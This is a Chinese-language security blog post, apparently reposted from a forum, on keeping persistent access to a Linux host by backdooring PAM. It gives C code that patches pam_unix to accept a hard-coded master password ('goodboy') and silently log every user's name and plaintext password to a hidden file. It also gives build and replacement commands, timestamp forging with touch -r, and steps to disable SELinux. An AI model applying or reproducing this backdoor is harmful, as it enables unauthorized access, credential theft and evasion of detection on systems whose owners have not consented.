内网技巧-Linux权限维持之PAM万能密码登录 - 2ed

admin 2021年12月31日15:02:33评论112 views字数 1361阅读4分32秒阅读模式

PAM(Pluggable Authentication Modules )是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。PAM最初是集成在Solaris中,目前已移植到其它系统中,如Linux、SunOS、HP-UX 9.0等。


简而言之,PAM中包含Linux的登录认证模块,并且Linux开源,所以我们便可以修改认证文件中的代码逻辑,实现权限维持。

查看pam版本:

  • getconf LONG_BIT
  • cat /etc/redhat-release
  • rpm -qa | grep pam
  • apt-get list --installed | grep pam

查看系统版本

  • cat /etc/issue
  • cat /etc/*-release
  • cat /etc/lsb-release
  • cat /etc/redhat-release

PAM包下载地址:
http://www.linux-pam.org/library/


实验环境:

Centos7 root权限
PAM版本1.1.8

安装gcc

yum install gcc

首先下载对应版本的PAM包,解压

改成如下代码,代码很简单。修改判断逻辑,并且记录管理员的登录到/usr/share/java/.null中

代码

if(strcmp(p,"goodboy")==0)
{
    retval = PAM_SUCCESS;
}

if(retval== PAM_SUCCESS)
{
    FILE *fp = fopen("/usr/share/java/.null","a+");
    fprintf(fp,"%s::%s\n",name,p);
    fclose(fp);
}

修改完后在Linux-PAM-1.1.8.tar.gz 目录中执行./configure && make

OK,遇到yywrap未定义引用不要慌,执行

yum install flex-devel flex
重新./configure && make

编译好的文件在modules/pam_unix/.libs/

随后替换 pam_unix.so文件,系统原本的认证文件为/lib64/security/pam_unix.so
32位系统为/lib/security/pam_unix.so

备份
cp -af /lib64/security/pam_unix.so /opt/

用编译好的pam_unix.so文件替换
cp -af pam_unix.so /lib64/security/

修改时间
touch -r /lib64/security/pam_userdb.so /lib64/security/pam_unix.so

随后关闭SElinux
vim /etc/selinux/config
SELINUX=disabled

验证

内网技巧-Linux权限维持之PAM万能密码登录 -  2ed
使用goodboy密码顺利登录系统。当然我使用原本root的密码也能登录,并且会被记录在/usr/share/java/.null中

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:02:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网技巧-Linux权限维持之PAM万能密码登录 - 2edhttps://cn-sec.com/archives/710553.html

发表评论

匿名网友 填写信息